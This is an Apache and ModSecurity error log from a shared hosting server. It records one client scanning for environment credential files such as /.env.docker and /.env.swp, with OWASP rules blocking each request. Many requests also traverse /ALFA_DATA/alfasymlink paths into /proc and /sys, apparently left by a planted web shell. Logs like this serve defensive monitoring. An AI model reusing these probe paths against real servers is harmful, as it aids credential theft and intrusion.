[Sat Oct 24 17:15:37.228744 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0QAAAAk"]
[Sat Oct 24 17:15:37.229148 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0QAAAAk"]
[Sat Oct 24 17:15:37.422679 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0gAAAAk"]
[Sat Oct 24 17:15:37.422942 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0gAAAAk"]
[Sat Oct 24 17:15:37.423341 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0gAAAAk"]
[Sat Oct 24 17:15:37.610268 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0wAAAAk"]
[Sat Oct 24 17:15:37.610544 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0wAAAAk"]
[Sat Oct 24 17:15:37.610876 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0wAAAAk"]
[Sat Oct 24 17:15:37.809936 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1AAAAAk"]
[Sat Oct 24 17:15:37.810185 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1AAAAAk"]
[Sat Oct 24 17:15:37.810527 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1AAAAAk"]
[Sat Oct 24 17:15:37.992483 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1QAAAAk"]
[Sat Oct 24 17:15:37.992786 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1QAAAAk"]
[Sat Oct 24 17:15:37.993132 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at0f-bbQ4HMkj2Xm_Osa1QAAAAk"]
[Sat Oct 24 17:15:38.173306 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1gAAAAk"]
[Sat Oct 24 17:15:38.173585 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1gAAAAk"]
[Sat Oct 24 17:15:38.173920 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1gAAAAk"]
[Sat Oct 24 17:15:38.356253 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1wAAAAk"]
[Sat Oct 24 17:15:38.356504 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1wAAAAk"]
[Sat Oct 24 17:15:38.356828 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at0f-rbQ4HMkj2Xm_Osa1wAAAAk"]
[Sat Oct 24 17:15:38.549217 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2AAAAAk"]
[Sat Oct 24 17:15:38.549655 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2AAAAAk"]
[Sat Oct 24 17:15:38.550271 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2AAAAAk"]
[Sat Oct 24 17:15:38.669451 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.0.105.244:43229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:38.722931 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2QAAAAk"]
[Sat Oct 24 17:15:38.723186 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2QAAAAk"]
[Sat Oct 24 17:15:38.723564 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at0f-rbQ4HMkj2Xm_Osa2QAAAAk"]
[Sat Oct 24 17:15:42.662310 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.195.60.66:30557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:46.715297 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.205.170.13:46506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/wakeup/wakeup11/subsystem/wakeup7/device/device:07/eject
[Sat Oct 24 17:15:58.600700 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.205.74.196:33411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:02.723245 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 34.194.95.99:7249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:06.501338 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.196.114.170:32171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:38.277824 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.231.181.240:25194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:38.278057 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.231.181.240:25194] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:00.0/firmware_node/physical_node/class"] [unique_id "at0gNjKiZtbKEGWJKoLSxgAAACE"]
[Sat Oct 24 17:16:38.278086 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.231.181.240:25194] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:00.0/firmware_node/physical_node/class"] [unique_id "at0gNjKiZtbKEGWJKoLSxgAAACE"]
[Sat Oct 24 17:16:42.234762 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.235.172.96:55305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:44.252472 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 195.178.110.159:53756] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:16:45.512730 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 185.191.171.15:25960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/gather_update_log_stats
[Sat Oct 24 17:16:50.264506 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.80.73.122:55839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:16:54.235128 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.207.207.36:62142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/tpm_tis/bind
[Sat Oct 24 17:17:02.305497 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 52.2.191.202:4561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:17:06.289958 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.4.238.8:45258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:17:10.453647 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.225.148.123:21405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:17:20.285137 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.14:38098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objs_per_slab
[Sat Oct 24 17:17:42.200499 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.211.105.134:34361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:17:50.383466 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.7.33.248:11329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/piix4_smbus/new_id
[Sat Oct 24 17:18:02.397191 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.23.137.202:43303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:06.319087 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.251.19:52415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:14.263166 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.223.232.55:17003] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:18.375780 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 98.82.38.120:23357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:26.177903 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 54.156.55.147:13874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:34.191855 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 18.232.11.247:45977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1e/eject
[Sat Oct 24 17:18:46.298886 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.208.11.93:5828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:50.206175 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.211.105.134:12074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:18:54.263572 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.21.179.120:58907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:06.227586 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.215.77.19:13576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:10.426838 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.213.85.234:47192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:18.287195 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.5.232.250:24615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:19.412445 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.209:13044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/shrink
[Sat Oct 24 17:19:27.508046 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 85.208.96.193:11572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:27.543407 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 85.208.96.193:11576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:19:42.264022 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.82.39.241:31917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:20:02.360798 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.3.102.51:56594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/new_id
[Sat Oct 24 17:20:06.189063 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.232.12.157:15950] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:20:14.209639 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.157.99.244:39037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:20:20.291156 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.202:45166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/shrink
[Sat Oct 24 17:20:30.219132 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.77.169:51183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:20:35.780688 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.19:36872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/objects
[Sat Oct 24 17:20:49.432378 2026] [authz_core:error] [pid 2692917:tid 2692917] [client 195.178.110.159:11256] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:20:49.542632 2026] [proxy_fcgi:error] [pid 2677776:tid 2677776] [client 85.204.70.90:46710] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 17:21:10.529569 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.22.64.232:2207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:17.978780 2026] [core:crit] [pid 2693039:tid 2693039] (13)Permission denied: [client 18.218.118.203:38502] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
